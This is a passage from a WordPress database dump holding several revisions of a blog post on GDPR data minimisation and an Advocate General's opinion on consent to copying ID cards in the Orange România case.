contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage  of copies of their ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> and that the existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far <em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article 2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 6(1)(a) of that directive, which provides that personal data must be processed fairly and lawfully.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article 2(h), consent is defined as any freely given specific and informed indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article 4(11), a stronger standard of consent is required : consent needs to be freely given, specific, informed and <strong>unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes actively, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <em>Informed consent</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em> Who does <strong>the burden of proof lie with ?</strong></em>    </h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article 7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has <em>unambiguously</em> given his consent’. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears to me that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there is no freely given consent. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract. Customers must not in this connection feel that their refusal to consent to the copying and storing of their identity documents is not in line with regular procedures. I should like to recall in this respect that the Court has laid an emphasis on active behaviour on the part of the data subject with a view to giving his or her consent.&nbsp;(<a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A62019CC0061#Footnote43\">43</a>) A positive action of the data subject is therefore required for giving consent. Yet, in the case at issue, the reverse situation appears to occur: a positive action is needed in order to refuse consent. Turning once more to the judgment in&nbsp;<em>Planet49</em>,&nbsp;(<a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A62019CC0061#Footnote44\">44</a>) if unticking a pre-ticked checkbox on a website is considered too much a burden for a customer, then&nbsp;<em>a fortiori&nbsp;</em>a customer cannot reasonably be expected to refuse his or her consent in handwritten form.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>61.</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Secondly, there is no informed consent. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>62.</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thirdly&nbsp;— and only on a hypothetical basis&nbsp;— there is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such lack of clarity and conflicting instructions to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>61.</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Secondly, there is no informed consent. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>62.</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thirdly&nbsp;— and only on a hypothetical basis&nbsp;— there is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such lack of clarity and conflicting instructions to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</p>\n<!-- /wp:paragraph -->','Proportionality and Data Minimisation are Key to GDPR','','inherit','closed','closed','','583-revision-v1','','','2020-03-04 19:31:46','2020-03-04 19:31:46','',583,'https://datarainbow.eu/2020/03/04/583-revision-v1/',0,'revision','',0),(588,5,'2020-03-04 20:37:02','2020-03-04 20:37:02','<!-- wp:heading -->\n<h2>Proportionality and Data Minimisation are Key to GDPR</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless is a life saver. By collection less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools. Based on the imbalance of power and the lack of proportionality of the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article 8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M. MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of an ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article 4(11) of Regulation (EU) 2016/679, for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  The Article 6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(a)      <em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(b)      <em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage  of copies of their ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> and that the existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far <em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article 2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 6(1)(a) of that directive, which provides that personal data must be processed fairly and lawfully.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article 2(h), consent is defined as any freely given specific and informed indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article 4(11), a stronger standard of consent is required : consent needs to be freely given, specific, informed and <strong>unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes actively, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <em>Informed consent</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em> Who does <strong>the burden of proof lie with ?</strong></em>    </h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article 7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has <em>unambiguously</em> given his consent’. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears to me that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is no freely given consent. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract.Following the judgment in <em>Planet49</em>, consent is by positive opt in.</li><li><a>.</a>There is no informed consent. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does <em>not</em> make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such lack of clarity and conflicting instructions to sales personnel obviously cannot be to the detriment of the customer, <em>in casu</em> the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>there is no ‘consent’ where the customer does not indicate his or her ‘specific and informed’ and ‘freely given’ wishes, within the meaning of Article 2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article 4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; when he or she is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is  soon to be followed. Although the DG opinions are not binding the court tend to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his ID ? Should this view be extended to any case where an ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','','inherit','closed','closed','','583-revision-v1','','','2020-03-04 20:37:02','2020-03-04 20:37:02','',583,'https://datarainbow.eu/2020/03/04/583-revision-v1/',0,'revision','',0),(590,5,'2020-03-04 21:29:17','2020-03-04 21:29:17','<!-- wp:heading {\"level\":3} -->\n<h3>Proportionality and Data Minimisation are Key to GDPR</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless, it is a life saver. By collecting less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally keeping data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the <a href=\"https://datarainbow.eu/2020/03/02/court-said-no-to-facial-recognition-technology/\">French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools.</a> Based on the imbalance of power and the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wherever the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article&nbsp;8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M. MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article&nbsp;4(11) of Regulation (EU) 2016/679,&nbsp;for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;The Article&nbsp;6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p><p>(a)      <em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p><p>(b)      <em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage  of copies of their ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> and that the existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far&nbsp;<em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article&nbsp;2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;6(1)(a) of that directive, which provides that personal data must be processed fairly and lawfully.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article&nbsp;2(h), consent is defined as any freely given specific and informed indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article&nbsp;4(11), a stronger standard of consent is required : consent needs to be freely given, specific, informed and <strong>unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes actively, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<em>Informed consent</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>&nbsp;Who does <strong>the burden of proof&nbsp;lie&nbsp;with&nbsp;?</strong></em>&nbsp;&nbsp;&nbsp;&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article&nbsp;7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has&nbsp;<em>unambiguously</em>&nbsp;given his consent’.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears to me that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is no freely given consent. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract.Following the judgment in&nbsp;<em>Planet49</em>,&nbsp;consent is by positive opt in.</li><li><a>.</a>There is no informed consent. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such lack of clarity and conflicting instructions to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>there is no ‘consent’ where the customer does not indicate his or her ‘specific and informed’ and ‘freely given’ wishes, within the meaning of Article&nbsp;2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24&nbsp;October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article&nbsp;4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27&nbsp;April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; when he or she is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is  soon to be followed. Although the DG opinions are not binding the court tend to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his ID ? Should this view be extended to any case where an ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','','inherit','closed','closed','','583-revision-v1','','','2020-03-04 21:29:17','2020-03-04 21:29:17','',583,'https://datarainbow.eu/2020/03/04/583-revision-v1/',0,'revision','',0),(592,5,'2020-03-04 21:33:58','2020-03-04 21:33:58','<!-- wp:heading {\"level\":3} -->\n<h3>Proportionality and Data Minimisation are Key to GDPR</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless, it is a life saver. By collecting less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally keeping data and assets mapping, most of the hassle of compliance is 